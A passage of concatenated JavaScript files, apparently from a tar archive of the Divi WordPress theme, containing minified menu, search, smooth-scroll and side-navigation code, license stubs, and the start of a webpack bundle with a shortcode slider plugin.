t(this).parents().hasClass("widget_recent_reviews")&&t(".reviews_tab").trigger("click").animate({scrollTop:u.offset().top},700),n.closest(".et_pb_fullscreen_menu_opened").length>0&&d(),setTimeout((function(){et_pb_smooth_scroll(u,!1,800)}),0),!t("#main-header").hasClass("et-fixed-header")&&t("body").hasClass("et_fixed_nav")&&t(window).width()>980&&setTimeout((function(){et_pb_smooth_scroll(u,!1,40,"linear")}),780),!1}}));var $,V,R,Q=function(){var e,n=t(".et-l--post"),i=t(".et-l--body .et_pb_section:visible").not(".et-l--post .et_pb_section");return e=f?n.find(".et-fb-post-content > .et_pb_section"):n.find(".et_builder_inner_content > .et_pb_section:visible"),0===i.length||e.length>1?e:i};function U(){t(".et_search_form_container").hasClass("et_pb_is_animating")||(t(".et_menu_container").removeClass("et_pb_menu_hidden et_pb_no_animation").addClass("et_pb_menu_visible"),t(".et_search_form_container").removeClass("et_pb_search_visible et_pb_no_animation").addClass("et_pb_search_form_hidden et_pb_is_animating"),setTimeout((function(){t(".et_menu_container").addClass("et_pb_no_animation"),t(".et_search_form_container").addClass("et_pb_no_animation").removeClass("et_pb_is_animating")}),1e3))}function Z(){var e=t(".et_search_form_container");if(e.hasClass("et_pb_search_visible")){var n=t("body"),i=t("#main-header").innerHeight(),a=t("#top-menu").width(),o=t("#top-menu li a").css("font-size");e.css({height:i+"px"}),e.find("input").css("font-size",o),n.hasClass("et_header_style_left")?e.find("form").css("max-width",a+60+"px"):e.css("max-width",a+60+"px")}}if(window.et_pb_window_side_nav_scroll_init=function(){if(!0!==window.et_calculating_scroll_position&&!1!==window.et_side_nav_links_initialized){var e=Q();window.et_calculating_scroll_position=!0;var n,i=t(".et-l--header").length||t(".et-l--body").length||!t("#main-header").length?0:-90,a=t("body").hasClass("et_fixed_nav")?20:i,o=t("#top-header").length>0?parseInt(t("#top-header").height()):0,r=t("#main-header").length>0?parseInt(t("#main-header").height()):0;t("#wpadminbar").length>0&&parseInt(t(window).width())>600&&(a+=parseInt(t("#wpadminbar").outerHeight())),n=window.et_is_vertical_nav?o+a+60:o+r+a;for(var s=parseInt(t(window).height()),c=parseInt(t(window).scrollTop()),l=s+c===parseInt(t(document).height()),_=t(".side_nav_item a").length-1,d=0;d<=_;d++){var p=e.eq(d),u=void 0===p.offset(),f=t(".side_nav_item a.active").parent().index(),h=null,b=!1===u?p.offset().top-n:0;u?h=0:l?h=_:c>=b&&(h=d),null!==h&&h!==f&&(t(".side_nav_item a").removeClass("active"),t("a#side_nav_item_id_"+h).addClass("active"))}window.et_calculating_scroll_position=!1}},window.et_pb_side_nav_page_init=function(e){if(t(".et_pb_side_nav_page").length){var n=Q(),i=n.length,a=parseInt((20*i+40)/2);window.et_side_nav_links_initialized=!1,window.et_calculating_scroll_position=!1,i>1&&t(".et_pb_side_nav_page").length&&(e?t(".et_pb_side_nav").empty():t("#main-content").append('<ul class="et_pb_side_nav"></ul>'),n.each((function(e,n){var a=0===e?"active":"";t(".et_pb_side_nav").append('<li class="side_nav_item"><a href="#" id="side_nav_item_id_'+e+'" class= "'+a+'">'+e+"</a></li>"),i-1===e&&(window.et_side_nav_links_initialized=!0)})),t("ul.et_pb_side_nav").css("marginTop","-"+a+"px"),t(".et_pb_side_nav").addClass("et-visible"),t(".et_pb_side_nav a").on("click",(function(){var e=parseInt(t(this).text()),i=n.eq(e),a="0"==t(this).text()&&!t(".et-l--body").length;return et_pb_smooth_scroll(i,a,800),!t("#main-header").hasClass("et-fixed-header")&&t("body").hasClass("et_fixed_nav")&&parseInt(t(window).width())>980&&setTimeout((function(){et_pb_smooth_scroll(i,a,200)}),500),!1})),t(window).on("scroll",et_pb_window_side_nav_scroll_init))}},t(window).on("resize",(function(){et_pb_side_nav_page_init(!0)})),t("body").is(".et-fb, .et-bfb")&&(window.et_pb_side_nav_page_init=s(window.et_pb_side_nav_page_init,200)),et_pb_side_nav_page_init(),t(".et_pb_scroll_top").length&&(t(window).on("scroll",(function(){t(this).scrollTop()>800?t(".et_pb_scroll_top").show().removeClass("et-hidden").addClass("et-visible"):t(".et_pb_scroll_top").removeClass("et-visible").addClass("et-hidden")})),t(".et_pb_scroll_top").on("click",(function(){t("html, body").animate({scrollTop:0},800)}))),t(".comment-reply-link").length&&t(".comment-reply-link").addClass("et_pb_button"),t("#et_top_search").on("click",(function(){var e=t(".et_search_form_container");e.hasClass("et_pb_is_animating")||(t(".et_menu_container").removeClass("et_pb_menu_visible et_pb_no_animation").addClass("et_pb_menu_hidden"),e.removeClass("et_pb_search_form_hidden et_pb_no_animation").addClass("et_pb_search_visible et_pb_is_animating"),setTimeout((function(){t(".et_menu_container").addClass("et_pb_no_animation"),e.addClass("et_pb_no_animation").removeClass("et_pb_is_animating")}),1e3),e.find("input").trigger("focus"),Z())})),t(".et_close_search_field").on("click",(function(){U()})),t(document).on("mouseup",(function(e){var n=t("#main-header");t(".et_menu_container").hasClass("et_pb_menu_hidden")&&(n.is(e.target)||0!==n.has(e.target).length||U())})),C.length){var Y=C.is("img")?C.attr("src"):C.find("img").attr("src");$=Y,V=function(){var e,n,i,a="svg"===(C.is("img")?C.attr("src"):C.find("img").attr("src")).substr(-3,3);t("body").append(t("<div />",{id:"et-define-logo-wrap",style:"position: fixed; bottom: 0; opacity: 0;"})),e=t("#et-define-logo-wrap"),a&&e.addClass("svg-logo"),e.html(C.clone().css({display:"block"}).removeAttr("id")),n=e.find("img").width(),i=e.find("img").height(),C.attr({"data-actual-width":n,"data-actual-height":i}),e.remove(),c(!0)},(R=new Image).onLoad=V,R.onload=V,R.src=$}function G(){t(window).off("scroll",window.et_pb_window_side_nav_scroll_init),t("#main-content .et_pb_side_nav").off("click",".et_pb_side_nav a"),t("#main-content .et_pb_side_nav").remove(),et_pb_side_nav_page_init()}t(".footer-widget").each((function(){var e=t(this),n=e.width(),i=e.find(".widget_adsensewidget ins");i.length&&i.width(n)})),t("body").is(".et-fb")?(t(window).on("et_fb_root_did_mount",(function(){G(),N()})),t(window).on("et_fb_section_content_change",G)):window.addEventListener("load",N)})),t("#main-header").on("click",".et_toggle_slide_menu",(function(){l()})),a&&(o.on("swipeleft",(function(t){30>=parseInt(o.width())-parseInt(t.swipestart.coords[0])&&l("open")})),o.on("swiperight",(function(e){t("body").hasClass("et_pb_slide_menu_active")&&l("close")}))),t("#page-container").on("click",".et_toggle_fullscreen_menu",(function(){d()})),t(window).on("visibilitychange",(function(){t("body").hasClass("et_pb_fullscreen_menu_active")&&t(".et_toggle_fullscreen_menu").trigger("click")})),t(".et_pb_fullscreen_nav_container").on("click","li.menu-item-has-children > a",(function(){var e=t(this).closest("li"),n=e.find(">a .et_mobile_menu_arrow"),i=e.find(">ul"),a=n.hasClass("et_pb_submenu_opened");return n.toggleClass("et_pb_submenu_opened"),a?(i.removeClass("et_pb_slide_dropdown_opened"),i.slideToggle(700,"easeInOutCubic")):(i.slideToggle(700,"easeInOutCubic"),i.addClass("et_pb_slide_dropdown_opened")),!1})),t("body").hasClass("et_header_style_fullscreen")){var u=t(".et_header_style_fullscreen .et_slide_in_menu_container");if(u.length){var h=u.find(".et_slide_menu_top").innerHeight();u.css({"padding-top":h+20+"px"})}}t(document.body).on("checkout_error",(function(){_()})),t(document.body).on("updated_checkout",(function(t){"failure"===t.result&&_()})),o.on("et_fb_init",(function(){var t=e.wp;if(t&&t.hooks&&t.hooks.addFilter){var n=window.DIVI.row_selector;t.hooks.addFilter("et.pb.row.css.selector","divi.et.pb.row.css.selector",(function(t){return t.replace("%%row_selector%%",n)}))}}))}(jQuery)}]); menu_fix.js 0000644 00000002104 15222641013 0006705 0 ustar 00 !function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)r.d(n,o,function(t){return e[t]}.bind(null,o));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="",r(r.s=91)}({91:function(e,t){var r;(r=jQuery)((function(){var e=r("#toplevel_page_et_divi_options");if(e.length){var t=e.find(".wp-first-item");"Divi"===t.find("a").text()&&t.remove()}}))}}); smoothscroll.js 0000644 00000013122 15222641013 0007625 0 ustar 00 /*! For license information please see smoothscroll.js.LICENSE.txt */ !function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(r,o,function(t){return e[t]}.bind(null,o));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=94)}({94:function(e,t){!function(){var e,t={frameRate:150,animationTime:400,stepSize:80,pulseAlgorithm:!0,pulseScale:8,pulseNormalize:1,accelerationDelta:20,accelerationMax:1,keyboardSupport:!0,arrowScroll:50,touchpadSupport:!0,fixedBackground:!0,excluded:""},n=t,r=!1,o={x:0,y:0},a=!1,i=document.documentElement,l=[120,120,120],u=37,c=38,s=39,d=40,f=32,m=33,p=34,h=35,w=36;n=t;function v(){if(document.body){var t,o=document.body,l=document.documentElement,u=window.innerHeight,c=o.scrollHeight;if(i=document.compatMode.indexOf("CSS")>=0?l:o,e=o,(t=document.body.classList.contains("et-fb"))&&C("keydown",k),n.keyboardSupport&&!t&&E("keydown",k),a=!0,top!=self)r=!0;else if(c>u&&(o.offsetHeight<=u||l.offsetHeight<=u)){var s=!1;if(l.style.height="auto",setTimeout((function(){s||l.scrollHeight==document.height||(s=!0,setTimeout((function(){l.style.height=document.height+"px",s=!1}),500))}),10),i.offsetHeight<=u){var d=document.createElement("div");d.style.clear="both",o.appendChild(d)}}n.fixedBackground||(o.style.backgroundAttachment="scroll",l.style.backgroundAttachment="scroll")}}var b=[],y=!1,g=+new Date;function S(e,t,r,a){var i,l;if(a||(a=1e3),i=(i=t)>0?1:-1,l=(l=r)>0?1:-1,(o.x!==i||o.y!==l)&&(o.x=i,o.y=l,b=[],g=0),1!=n.accelerationMax){var u=+new Date-g;if(u<n.accelerationDelta){var c=(1+30/u)/2;c>1&&(c=Math.min(c,n.accelerationMax),t*=c,r*=c)}g=+new Date}if(b.push({x:t,y:r,lastX:t<0?.99:-.99,lastY:r<0?.99:-.99,start:+new Date}),!y){var s=e===document.body;_((function o(i){for(var l=+new Date,u=0,c=0,d=0;d<b.length;d++){var f=b[d],m=l-f.start,p=m>=n.animationTime,h=p?1:m/n.animationTime;n.pulseAlgorithm&&(h=P(h));var w=f.x*h-f.lastX>>0,v=f.y*h-f.lastY>>0;u+=w,c+=v,f.lastX+=w,f.lastY+=v,p&&(b.splice(d,1),d--)}s?window.scrollBy(u,c):(u&&(e.scrollLeft+=u),c&&(e.scrollTop+=c)),t||r||(b=[]),b.length?_(o,e,a/n.frameRate+1):y=!1}),e,0),y=!0}}function k(t){var r=t.target,o=t.ctrlKey||t.altKey||t.metaKey||t.shiftKey&&t.keyCode!==f;if(/input|textarea|select|embed/i.test(r.nodeName)||r.isContentEditable||t.defaultPrevented||o)return!0;if(N(r,"button")&&t.keyCode===f)return!0;var a=0,i=0,l=T(e),v=l.clientHeight;switch(l==document.body&&(v=window.innerHeight),t.keyCode){case c:i=-n.arrowScroll;break;case d:i=n.arrowScroll;break;case f:i=-(t.shiftKey?1:-1)*v*.9;break;case m:i=.9*-v;break;case p:i=.9*v;break;case w:i=-window.pageYOffset;break;case h:var b=l.scrollHeight-l.scrollTop-v;i=b>0?b+10:0;break;case u:a=-n.arrowScroll;break;case s:a=n.arrowScroll;break;default:return!0}S(l,a,i),t.preventDefault()}var x={};setInterval((function(){x={}}),1e4);var M,D=(M=0,function(e){return e.uniqueID||(e.uniqueID=M++)});function H(e,t){for(var n=e.length;n--;)x[D(e[n])]=t;return t}function T(e){var t=[],n=i.scrollHeight;do{var o=x[D(e)];if(o)return H(t,o);if(t.push(e),n===e.scrollHeight){if(!r||i.clientHeight+10<n)return H(t,document.body)}else if(e.clientHeight+10<e.scrollHeight){var a=getComputedStyle(e,"").getPropertyValue("overflow-y");if("scroll"===a||"auto"===a)return H(t,e)}}while(e=e.parentNode)}function E(e,t,n){window.addEventListener(e,t,n||!1)}function C(e,t,n){window.removeEventListener(e,t,n||!1)}function N(e,t){return(e.nodeName||"").toLowerCase()===t.toLowerCase()}function O(e,t){return Math.floor(e/t)==e/t}var _=window.requestAnimationFrame||window.webkitRequestAnimationFrame||function(e,t,n){window.setTimeout(e,n||1e3/60)};function z(e){var t,r;return(e*=n.pulseScale)<1?t=e-(1-Math.exp(-e)):(e-=1,t=(r=Math.exp(-1))+(1-Math.exp(-e))*(1-r)),t*n.pulseNormalize}function P(e){return e>=1?1:e<=0?0:(1==n.pulseNormalize&&(n.pulseNormalize/=z(1)),z(e))}var j=/chrome/i.test(window.navigator.userAgent),A=null;"onwheel"in document.createElement("div")?A="wheel":"onmousewheel"in document.createElement("div")&&(A="mousewheel");var L=document.body.className.split(" ").filter((function(e){return"et_smooth_scroll"===e})).length>0;A&&j&&L&&(window.addEventListener(A,(function(t){a||v();var r=t.target,o=T(r),i=document.documentElement.className.split(" ").filter((function(e){return"et-fb-preview--tablet"===e||"et-fb-preview--phone"===e||"et-fb-preview--zoom"===e||"et-fb-preview--wireframe"===e})).length>0;if(!o||t.defaultPrevented||N(e,"embed")||N(r,"embed")&&/\.pdf/i.test(r.src)||i)return!0;var u=t.wheelDeltaX||0,c=t.wheelDeltaY||0;if(u||c||(c=t.wheelDelta||0),!n.touchpadSupport&&function(e){if(!e)return;return e=Math.abs(e),l.push(e),l.shift(),clearTimeout(void 0),!(O(l[0],120)&&O(l[1],120)&&O(l[2],120))}(c))return!0;Math.abs(u)>1.2&&(u*=n.stepSize/120),Math.abs(c)>1.2&&(c*=n.stepSize/120),S(o,-u,-c),t.preventDefault()}),{passive:!1}),E("mousedown",(function(t){e=t.target})),E("load",v)),window.ET_SmoothScroll={toggleKeydown:function(e){e?E("keydown",k):C("keydown",k)}}}()}}); smoothscroll.js.LICENSE.txt 0000644 00000000266 15222641013 0011531 0 ustar 00 /*! * SmoothScroll for websites v1.2.1 * Licensed under the terms of the MIT license. * * People involved * - Balazs Galambosi (maintainer) * - Michael Herf (Pulse Algorithm) */ scripts.min.js.LICENSE.txt 0000644 00000000646 15222641013 0011254 0 ustar 00 /*! * Waypoints - 4.0.0 * Copyright © 2011-2015 Caleb Troughton * Licensed under the MIT license. * https://github.com/imakewebthings/waypoints/blog/master/licenses.txt * * Modified to adapt the latest jQuery version (v3 above) included on WordPress 5.6: * - (2020-12-15) - jQuery isFunction method is deprecated. */ /*! ET custom.js */ /*! For license information please see frontend-builder-scripts.js.LICENSE.txt */ custom.unified.js 0000644 00003314675 15222641013 0010055 0 ustar 00 /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { enumerable: true, get: getter }); /******/ } /******/ }; /******/ /******/ // define __esModule on exports /******/ __webpack_require__.r = function(exports) { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ /******/ // create a fake namespace object /******/ // mode & 1: value is a module id, require it /******/ // mode & 2: merge all properties of value into the ns /******/ // mode & 4: return value when already ns object /******/ // mode & 8|1: behave like require /******/ __webpack_require__.t = function(value, mode) { /******/ if(mode & 1) value = __webpack_require__(value); /******/ if(mode & 8) return value; /******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value; /******/ var ns = Object.create(null); /******/ __webpack_require__.r(ns); /******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value }); /******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key)); /******/ return ns; /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = "./js/src/custom.unified.js"); /******/ }) /************************************************************************/ /******/ ({ /***/ "./core/admin/js/frame-helpers.js": /*!****************************************!*\ !*** ./core/admin/js/frame-helpers.js ***! \****************************************/ /*! exports provided: top_window, is_iframe */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "top_window", function() { return top_window; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "is_iframe", function() { return is_iframe; }); /* ,-,- / / | ,-' _/ / / (-_ _,-' `Z_/ "#: ,-'_,-. \ _ #' _(_-'_()\ \" | ,--_,--' | / "" L-'\ \,--^---v--v-._ / \ | \_________________,-' | \ \ \ NOTE: The code in this file will be executed multiple times! */ var top_window = window; var is_iframe = false; var top; try { // Have to access top window's prop (document) to trigger same-origin DOMException // so we can catch it and act accordingly. top = window.top.document ? window.top : false; } catch (e) { // Can't access top, it means we're inside a different domain iframe. top = false; } if (top && top.__Cypress__) { if (window.parent === top) { top_window = window; is_iframe = false; } else { top_window = window.parent; is_iframe = true; } } else if (top) { top_window = top; is_iframe = top !== window.self; } /***/ }), /***/ "./epanel/.webpack/scripts.js": /*!************************************!*\ !*** ./epanel/.webpack/scripts.js ***! \************************************/ /*! no exports provided */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony import */ var _shortcodes_js_et_shortcodes_frontend_js__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../shortcodes/js/et_shortcodes_frontend.js */ "./epanel/shortcodes/js/et_shortcodes_frontend.js"); /* harmony import */ var _shortcodes_js_et_shortcodes_frontend_js__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_shortcodes_js_et_shortcodes_frontend_js__WEBPACK_IMPORTED_MODULE_0__); /***/ }), /***/ "./epanel/shortcodes/js/et_shortcodes_frontend.js": /*!********************************************************!*\ !*** ./epanel/shortcodes/js/et_shortcodes_frontend.js ***! \********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /*! ET et_shortcodes_frontend.js */ // et_switcher plugin v2.2 (function ($) { $.fn.et_shortcodes_switcher = function (options) { var defaults = { slides: '>div', activeClass: 'active', linksNav: '', findParent: true, //use parent elements to define active states lengthElement: 'li', //parent element, used only if findParent is set to true useArrows: false, arrowLeft: 'a#prev-arrow', arrowRight: 'a#next-arrow', auto: false, autoSpeed: 5000, slidePadding: '', pauseOnHover: true, fx: 'fade', sliderType: '' }; var options = $.extend(defaults, options); return this.each(function () { var slidesContainer = jQuery(this).parent().css('position', 'relative'), $slides = jQuery(this).css({ 'overflow': 'hidden', 'position': 'relative' }), $slides_wrapper_box = slidesContainer.find('.et-tabs-content-wrapper'), $slides_wrapper = $slides_wrapper_box.parent(), $slide = $slides.find('.et-tabs-content-wrapper' + options.slides), slidesNum = $slide.length, zIndex = slidesNum, currentPosition = 1, slideHeight = 0, $activeSlide, $nextSlide, slides_wrapper_width = $slides_wrapper.width(), $et_shortcodes_mobile_nav, $et_shortcodes_mobile_controls; if (options.fx === 'slide') { $slides_wrapper_box.width((slidesNum + 2) * 200 + '%'); $slide.css({ 'width': slides_wrapper_width + 'px', 'visibility': 'visible' }); $slides_wrapper_box.append($slide.first().clone().removeClass().addClass('et_slidecontent_cloned')); $slides_wrapper_box.prepend($slide.last().clone().removeClass().addClass('et_slidecontent_cloned')); $slides_wrapper_box.css('left', -slides_wrapper_width + 'px'); } $slide.first().css({ 'display': 'block' }).addClass('et_shortcode_slide_active'); if ('' !== options.slidePadding) { var slidePaddingOption = 'number' === typeof options.slidePadding ? options.slidePadding + 'px' : options.slidePadding; $slide.css('padding', slidePaddingOption); } if (options.linksNav != '') { var linkSwitcher = jQuery(options.linksNav); var linkSwitcherTab = ''; if (options.findParent) linkSwitcherTab = linkSwitcher.parent();else linkSwitcherTab = linkSwitcher; if (!linkSwitcherTab.filter('.active').length) linkSwitcherTab.first().addClass('active'); linkSwitcher.on('click', function () { var targetElement, orderNum; if (options.findParent) targetElement = jQuery(this).parent();else targetElement = jQuery(this); orderNum = targetElement.prevAll(options.lengthElement).length + 1; if (orderNum > currentPosition) gotoSlide(orderNum, 1);else gotoSlide(orderNum, -1); return false; }); } if (options.useArrows) { var $right_arrow = jQuery(options.arrowRight), $left_arrow = jQuery(options.arrowLeft); $right_arrow.on('click', function () { et_shortcodes_go_to_next_slide(); return false; }); $left_arrow.on('click', function () { et_shortcodes_go_to_previous_slide(); return false; }); } function changeTab() { if (linkSwitcherTab != '') { linkSwitcherTab.siblings().removeClass('active'); linkSwitcherTab.eq(currentPosition - 1).addClass('active'); } } function gotoSlide(slideNumber, dir) { if ($slide.filter(':animated').length) return; $activeSlide = $slide.parent().find('.et_slidecontent').eq(currentPosition - 1); if (currentPosition === slideNumber) return; $activeSlide.removeClass('et_shortcode_slide_active'); $nextSlide = $slide.parent().find('.et_slidecontent').eq(slideNumber - 1).addClass('et_shortcode_slide_active'); if ((currentPosition > slideNumber || currentPosition === 1) && dir === -1) { if (options.fx === 'slide') slideBack(500); if (options.fx === 'fade') slideFade(500); } else { if (options.fx === 'slide') slideForward(500); if (options.fx === 'fade') slideFade(500); } currentPosition = $nextSlide.prevAll('.et_slidecontent').length + 1; if (options.linksNav != '') changeTab(); if (options.sliderType === 'images' || options.sliderType === 'simple') { $et_shortcodes_mobile_controls.find('li').removeClass('et_shortcodes_active_control'); $et_shortcodes_mobile_controls.find('li').eq(currentPosition - 1).addClass('et_shortcodes_active_control'); } return false; } if (options.auto) { auto_rotate(); var pauseSlider = false; } if (options.pauseOnHover) { slidesContainer.on('mouseenter', function () { pauseSlider = true; }).on('mouseleave', function () { pauseSlider = false; }); } function auto_rotate() { interval_shortcodes = setInterval(function () { if (!pauseSlider) { if (currentPosition === slidesNum) gotoSlide(1, 1);else gotoSlide(currentPosition + 1, 1); if (options.linksNav != '') changeTab(); } }, options.autoSpeed); } function slideFade(speed) { $activeSlide.css({ 'display': 'none', 'opacity': '0' }); $nextSlide.css({ 'opacity': '0', 'display': 'block' }).animate({ opacity: 1 }, 700); } function slideForward(speed) { var next_slide_order = $nextSlide.prevAll('.et_slidecontent').length + 1, go_to_first_slide = false; if ($activeSlide.next('.et_slidecontent_cloned').length) { next_slide_order = $activeSlide.prevAll().length + 1; go_to_first_slide = true; } $slides_wrapper_box.animate({ left: -($slides_wrapper.width() * next_slide_order) }, 500, function () { if (go_to_first_slide) { $slides_wrapper_box.css('left', -$slides_wrapper.width() + 'px'); } }); } function slideBack(speed) { var next_slide_order = $nextSlide.prevAll('.et_slidecontent').length + 1, go_to_last_slide = false; if ($activeSlide.prev('.et_slidecontent_cloned').length) { next_slide_order = 0; go_to_last_slide = true; } $slides_wrapper_box.animate({ left: -($slides_wrapper.width() * next_slide_order) }, 500, function () { if (go_to_last_slide) { $slides_wrapper_box.css('left', -($slides_wrapper.width() * slidesNum) + 'px'); } }); } if (options.fx === 'slide') { $(window).on('resize', function () { $slides_wrapper_box.find('>div').css({ 'width': $slides_wrapper.width() + 'px' }); $slides_wrapper_box.css('left', -($slides_wrapper.width() * currentPosition) + 'px'); }); } et_generate_mobile_nav(); function et_generate_mobile_nav() { var et_shortcodes_slides_num = slidesContainer.find('.et_slidecontent').length, et_shortcodes_controllers_html = ''; if (et_shortcodes_slides_num > 1 && (options.sliderType === 'images' || options.sliderType === 'simple')) { slidesContainer.append('<div class="et_shortcodes_controller_nav">' + '<ul class="et_shortcodes_controls"></ul>' + '<ul class="et_shortcodes_controls_arrows"><li><a href="#" class="et_sc_nav_next">' + et_shortcodes_strings.next + '<span></span></a></li><li><a href="#" class="et_sc_nav_prev">' + et_shortcodes_strings.previous + '<span></span></a></li></ul>' + '</div>'); $et_shortcodes_mobile_controls = slidesContainer.find('.et_shortcodes_controls'); for (var i = 0; i < et_shortcodes_slides_num; i++) { et_shortcodes_controllers_html += '<li><a href="#"></a></li>'; } $et_shortcodes_mobile_controls.prepend(et_shortcodes_controllers_html); $et_shortcodes_mobile_controls.find('li').first().addClass('et_shortcodes_active_control'); $et_shortcodes_mobile_controls.find('a').on('click', function () { var $this_control = $(this), $this_control_li = $this_control.parent('li'), this_order = $this_control_li.prevAll().length + 1; if (this_order == currentPosition) return false; if (this_order > currentPosition) gotoSlide(this_order, 1);else gotoSlide(this_order, -1); return false; }); $et_shortcodes_mobile_nav = slidesContainer.find('.et_shortcodes_controls_arrows'); $et_shortcodes_mobile_nav.find('a').on('click', function () { var $this_link = jQuery(this), et_active_slide_order; if ($this_link.hasClass('et_sc_nav_next')) et_shortcodes_go_to_next_slide(); if ($this_link.hasClass('et_sc_nav_prev')) et_shortcodes_go_to_previous_slide(); $et_shortcodes_mobile_controls.find('li').removeClass('et_shortcodes_active_control'); et_active_slide_order = currentPosition - 1; $et_shortcodes_mobile_controls.find('li').eq(et_active_slide_order).addClass('et_shortcodes_active_control'); return false; }); } else if (options.sliderType !== 'images' && options.sliderType !== 'simple') { slidesContainer.prepend('<ul class="et_shortcodes_mobile_nav"><li><a href="#" class="et_sc_nav_next">' + et_shortcodes_strings.next + '<span></span></a></li><li><a href="#" class="et_sc_nav_prev">' + et_shortcodes_strings.previous + '<span></span></a></li></ul>'); $et_shortcodes_mobile_nav = slidesContainer.find('.et_shortcodes_mobile_nav'); $et_shortcodes_mobile_nav.find('a').on('click', function () { var $this_link = jQuery(this); if ($this_link.hasClass('et_sc_nav_next')) et_shortcodes_go_to_next_slide(); if ($this_link.hasClass('et_sc_nav_prev')) et_shortcodes_go_to_previous_slide(); return false; }); } } function et_shortcodes_go_to_next_slide() { if (currentPosition === slidesNum) gotoSlide(1, 1);else gotoSlide(currentPosition + 1, 1); if (options.linksNav != '') changeTab(); } function et_shortcodes_go_to_previous_slide() { if (currentPosition === 1) gotoSlide(slidesNum, -1);else gotoSlide(currentPosition - 1, -1); if (options.linksNav != '') changeTab(); } }); }; window.et_shortcodes_init = function ($container) { var $processed_container = typeof $container !== 'undefined' ? $container : $('body'); var $et_pricing_table_button = $processed_container.find('.pricing-table a.icon-button'); $et_tooltip = $processed_container.find('.et-tooltip'); $et_tooltip.on('mouseover mouseout', function (event) { if (event.type == 'mouseover') { $(this).find('.et-tooltip-box').stop(true, true).animate({ opacity: 'show', bottom: '25px' }, 300); } else { $(this).find('.et-tooltip-box').delay(200).animate({ opacity: 'hide', bottom: '35px' }, 300); } }); // learn more $et_learn_more = $processed_container.find('.et-learn-more .heading-more'); $et_learn_more.on('click', function () { if ($(this).hasClass('open')) { $(this).removeClass('open'); } else { $(this).addClass('open'); } $(this).parent('.et-learn-more').find('.learn-more-content').animate({ opacity: 'toggle', height: 'toggle' }, 300); }); $processed_container.find('.et-learn-more').not('.et-open').find('.learn-more-content').css({ 'visibility': 'visible', 'display': 'none' }); $et_pricing_table_button.each(function () { var $this_button = $(this), this_button_width = $this_button.width(), this_button_innerwidth = $this_button.innerWidth(); $this_button.css({ width: this_button_width + 'px', 'marginLeft': '-' + this_button_innerwidth / 2 + 'px', 'visibility': 'visible' }); }); var $et_shortcodes_tabs = $processed_container.find('.et-tabs-container, .tabs-left, .et-simple-slider, 